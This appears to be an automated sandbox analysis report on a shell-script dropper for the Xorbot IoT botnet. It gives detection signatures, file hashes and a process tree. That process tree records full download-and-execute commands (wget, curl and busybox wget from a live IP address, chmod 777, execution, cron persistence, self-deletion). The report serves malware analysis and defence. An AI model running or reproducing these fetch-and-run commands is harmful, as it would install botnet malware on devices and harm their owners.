Analysis

  • max time kernel
    150s
  • max time network
    155s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    13/12/2024, 00:36

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    c0ad2b98db1b8c83e6da5f77a57d8350

  • SHA1

    545c2cc1265a02324abccba69783a150fedf92eb

  • SHA256

    870cc4d0c483bf5dc2a67c7cbeaabb3a3473a56c94d3552e71c0d69907bc1d3c

  • SHA512

    9eb128346360523f2f5f83573cb5887bc11851a1d4ded13384c1b72e47d760f4f9463dddb5dfb9e9388765de94d2c161c5c5a1bf44bb8a3fca99c6243e6fb82d

  • SSDEEP

    192:8FWgRmRyRlSykOImIVR9ah5rR9ah5g5SRmRyRlSy5:8FWlOImIq5M

Malware Config

Signatures

  • Detects Xorbot 6 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (2017) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 9 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:699
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:705
        • /usr/bin/wget
          wget http://216.126.231.164/bins/97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja
          2⤵
          • Writes file to tmp directory
          PID:707
        • /usr/bin/curl
          curl -O http://216.126.231.164/bins/97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja
          2⤵
          • Writes file to tmp directory
          PID:721
        • /bin/busybox
          /bin/busybox wget http://216.126.231.164/bins/97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja
          2⤵
          • Writes file to tmp directory
          PID:727
        • /bin/chmod
          chmod 777 97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja
          2⤵
          • File and Directory Permissions Modification
          PID:729
        • /tmp/97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja
          ./97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:730
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:733
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:734
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:735
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:740
              • /bin/rm
                rm 97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja
                2⤵
                  PID:739
                • /usr/bin/wget
                  wget http://216.126.231.164/bins/2PBaehA3GcDESmdXtN3L7VicJnnQ8Dwk8d
                  2⤵
                    PID:825
                  • /usr/bin/curl
                    curl -O http://216.126.231.164/bins/2PBaehA3GcDESmdXtN3L7VicJnnQ8Dwk8d
                    2⤵
                      PID:826
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.164/bins/2PBaehA3GcDESmdXtN3L7VicJnnQ8Dwk8d
                      2⤵
                      • Writes file to tmp directory
                      PID:827
                    • /bin/chmod
                      chmod 777 2PBaehA3GcDESmdXtN3L7VicJnnQ8Dwk8d
                      2⤵
                      • File and Directory Permissions Modification
                      PID:828
                    • /tmp/2PBaehA3GcDESmdXtN3L7VicJnnQ8Dwk8d
                      ./2PBaehA3GcDESmdXtN3L7VicJnnQ8Dwk8d
                      2⤵
                      • Executes dropped EXE
                      PID:833
                    • /bin/rm
                      rm 2PBaehA3GcDESmdXtN3L7VicJnnQ8Dwk8d
                      2⤵
                        PID:834
                      • /usr/bin/wget
                        wget http://216.126.231.164/bins/MJfVvlWUUIh8qRgBJANoJcIXmddCeoXbOx
                        2⤵
                          PID:839
                        • /usr/bin/curl
                          curl -O http://216.126.231.164/bins/MJfVvlWUUIh8qRgBJANoJcIXmddCeoXbOx
                          2⤵
                            PID:840
                          • /bin/busybox
                            /bin/busybox wget http://216.126.231.164/bins/MJfVvlWUUIh8qRgBJANoJcIXmddCeoXbOx
                            2⤵
                            • Writes file to tmp directory
                            PID:841
                          • /bin/chmod
                            chmod 777 MJfVvlWUUIh8qRgBJANoJcIXmddCeoXbOx
                            2⤵
                            • File and Directory Permissions Modification
                            PID:842
                          • /tmp/MJfVvlWUUIh8qRgBJANoJcIXmddCeoXbOx
                            ./MJfVvlWUUIh8qRgBJANoJcIXmddCeoXbOx
                            2⤵
                            • Executes dropped EXE
                            PID:843
                          • /bin/rm
                            rm MJfVvlWUUIh8qRgBJANoJcIXmddCeoXbOx
                            2⤵
                              PID:849
                            • /usr/bin/wget
                              wget http://216.126.231.164/bins/7uqmYlFuWk2YJALn2bbEDMRd6gsxcpjdLG
                              2⤵
                                PID:854
                              • /usr/bin/curl
                                curl -O http://216.126.231.164/bins/7uqmYlFuWk2YJALn2bbEDMRd6gsxcpjdLG
                                2⤵
                                  PID:859
                                • /bin/busybox
                                  /bin/busybox wget http://216.126.231.164/bins/7uqmYlFuWk2YJALn2bbEDMRd6gsxcpjdLG
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:860
                                • /bin/chmod
                                  chmod 777 7uqmYlFuWk2YJALn2bbEDMRd6gsxcpjdLG
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:861
                                • /tmp/7uqmYlFuWk2YJALn2bbEDMRd6gsxcpjdLG
                                  ./7uqmYlFuWk2YJALn2bbEDMRd6gsxcpjdLG
                                  2⤵
                                  • Executes dropped EXE
                                  PID:862
                                • /bin/rm
                                  rm 7uqmYlFuWk2YJALn2bbEDMRd6gsxcpjdLG
                                  2⤵
                                    PID:864
                                  • /usr/bin/wget
                                    wget http://216.126.231.164/bins/AoOBL3IHSoWB9C7HD5Jd98RWPeDztOIrzu
                                    2⤵
                                      PID:869
                                    • /usr/bin/curl
                                      curl -O http://216.126.231.164/bins/AoOBL3IHSoWB9C7HD5Jd98RWPeDztOIrzu
                                      2⤵
                                        PID:882
                                      • /bin/busybox
                                        /bin/busybox wget http://216.126.231.164/bins/AoOBL3IHSoWB9C7HD5Jd98RWPeDztOIrzu
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:883
                                      • /bin/chmod
                                        chmod 777 AoOBL3IHSoWB9C7HD5Jd98RWPeDztOIrzu
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:884
                                      • /tmp/AoOBL3IHSoWB9C7HD5Jd98RWPeDztOIrzu
                                        ./AoOBL3IHSoWB9C7HD5Jd98RWPeDztOIrzu
                                        2⤵
                                        • Executes dropped EXE
                                        PID:885
                                      • /bin/rm
                                        rm AoOBL3IHSoWB9C7HD5Jd98RWPeDztOIrzu
                                        2⤵
                                          PID:891
                                        • /usr/bin/wget
                                          wget http://216.126.231.164/bins/MmRCnf0uGdKSnJKTQR7N5j1qmziKp2scv0
                                          2⤵
                                            PID:892
                                          • /usr/bin/curl
                                            curl -O http://216.126.231.164/bins/MmRCnf0uGdKSnJKTQR7N5j1qmziKp2scv0
                                            2⤵
                                              PID:896
                                            • /bin/busybox
                                              /bin/busybox wget http://216.126.231.164/bins/MmRCnf0uGdKSnJKTQR7N5j1qmziKp2scv0
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:897
                                            • /bin/chmod
                                              chmod 777 MmRCnf0uGdKSnJKTQR7N5j1qmziKp2scv0
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:898
                                            • /tmp/MmRCnf0uGdKSnJKTQR7N5j1qmziKp2scv0
                                              ./MmRCnf0uGdKSnJKTQR7N5j1qmziKp2scv0
                                              2⤵
                                              • Executes dropped EXE
                                              PID:899
                                            • /bin/rm
                                              rm MmRCnf0uGdKSnJKTQR7N5j1qmziKp2scv0
                                              2⤵
                                                PID:901
                                              • /usr/bin/wget
                                                wget http://216.126.231.164/bins/G0nOSuEUkHQ2JDNY0dUgfd8Ke9XeqDsRXx
                                                2⤵
                                                  PID:906
                                                • /usr/bin/curl
                                                  curl -O http://216.126.231.164/bins/G0nOSuEUkHQ2JDNY0dUgfd8Ke9XeqDsRXx
                                                  2⤵
                                                    PID:912
                                                  • /bin/busybox
                                                    /bin/busybox wget http://216.126.231.164/bins/G0nOSuEUkHQ2JDNY0dUgfd8Ke9XeqDsRXx
                                                    2⤵
                                                    • Writes file to tmp directory
                                                    PID:913
                                                  • /bin/chmod
                                                    chmod 777 G0nOSuEUkHQ2JDNY0dUgfd8Ke9XeqDsRXx
                                                    2⤵
                                                    • File and Directory Permissions Modification
                                                    PID:914
                                                  • /tmp/G0nOSuEUkHQ2JDNY0dUgfd8Ke9XeqDsRXx
                                                    ./G0nOSuEUkHQ2JDNY0dUgfd8Ke9XeqDsRXx
                                                    2⤵
                                                    • Executes dropped EXE
                                                    PID:915
                                                  • /bin/rm
                                                    rm G0nOSuEUkHQ2JDNY0dUgfd8Ke9XeqDsRXx
                                                    2⤵
                                                      PID:917
                                                    • /usr/bin/wget
                                                      wget http://216.126.231.164/bins/KhrVjo7erII8MfTBycx4wgADk9SZ1fEHO7
                                                      2⤵
                                                        PID:919
                                                      • /usr/bin/curl
                                                        curl -O http://216.126.231.164/bins/KhrVjo7erII8MfTBycx4wgADk9SZ1fEHO7
                                                        2⤵
                                                          PID:920

                                                      Network

                                                      MITRE ATT&CK Enterprise v15

                                                      Replay Monitor

                                                      Loading Replay Monitor...

                                                      Downloads

                                                      • /tmp/2PBaehA3GcDESmdXtN3L7VicJnnQ8Dwk8d

                                                        Filesize

                                                        111KB

                                                        MD5

                                                        701e7a55a4f3650f5feee92a9860e5fc

                                                        SHA1

                                                        6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                                        SHA256

                                                        ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                                        SHA512

                                                        7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                                      • /tmp/7uqmYlFuWk2YJALn2bbEDMRd6gsxcpjdLG

                                                        Filesize

                                                        107KB

                                                        MD5

                                                        eb9c3a0de91fcf16ba17cb24608df68c

                                                        SHA1

                                                        09d95a7d70d5e115d103be51edff7c498d272fac

                                                        SHA256

                                                        dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                                        SHA512

                                                        9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                                      • /tmp/97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja

                                                        Filesize

                                                        151KB

                                                        MD5

                                                        3c90d5820bddcf7c5d1bd21dfa49d958

                                                        SHA1

                                                        5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                                        SHA256

                                                        bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                                        SHA512

                                                        54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                                      • /tmp/AoOBL3IHSoWB9C7HD5Jd98RWPeDztOIrzu

                                                        Filesize

                                                        112KB

                                                        MD5

                                                        05d7857dcead18bbd86d2935f591873c

                                                        SHA1

                                                        34d18f41ef35f93d5364ce3e24d74730a4e91985

                                                        SHA256

                                                        2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                                        SHA512

                                                        d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                                      • /tmp/G0nOSuEUkHQ2JDNY0dUgfd8Ke9XeqDsRXx

                                                        Filesize

                                                        127KB

                                                        MD5

                                                        89077b7bd4bcafca7713be43635c4862

                                                        SHA1

                                                        fc02edb8fba29ea8ee99e6157ef8560334530052

                                                        SHA256

                                                        78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                                        SHA512

                                                        1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                                      • /tmp/MJfVvlWUUIh8qRgBJANoJcIXmddCeoXbOx

                                                        Filesize

                                                        122KB

                                                        MD5

                                                        cd3d4b9c643e5b473fb4d88ed05f0716

                                                        SHA1

                                                        64ee7a97418583d759eaea8000890cc3bae1b5f4

                                                        SHA256

                                                        0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                                        SHA512

                                                        164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                                      • /tmp/MmRCnf0uGdKSnJKTQR7N5j1qmziKp2scv0

                                                        Filesize

                                                        141KB

                                                        MD5

                                                        3ca8decdb1e52c423c521bfff02ac200

                                                        SHA1

                                                        8621ecd6807109b8541912ad9e134f6fb49bfd48

                                                        SHA256

                                                        dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                                        SHA512

                                                        b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                                      • /var/spool/cron/crontabs/tmp.R5D9L6

                                                        Filesize

                                                        210B

                                                        MD5

                                                        3da1f111b486f00c99f3ce94aae29d70

                                                        SHA1

                                                        a615813e7d616e936b863860dc70de9b95c92220

                                                        SHA256

                                                        071818f3f7969ff023e9aa02380344791170d969535b8eb7a74e427e13ce6317

                                                        SHA512

                                                        edb2e026b495964b74c2a9ff16db050d71b94f6c1fe411c9c0aca04dbdcb9dc063d46f85dddce0ea2fe41985fa5fee77fab32fcf671c7ab01ab3bd8cef488c5a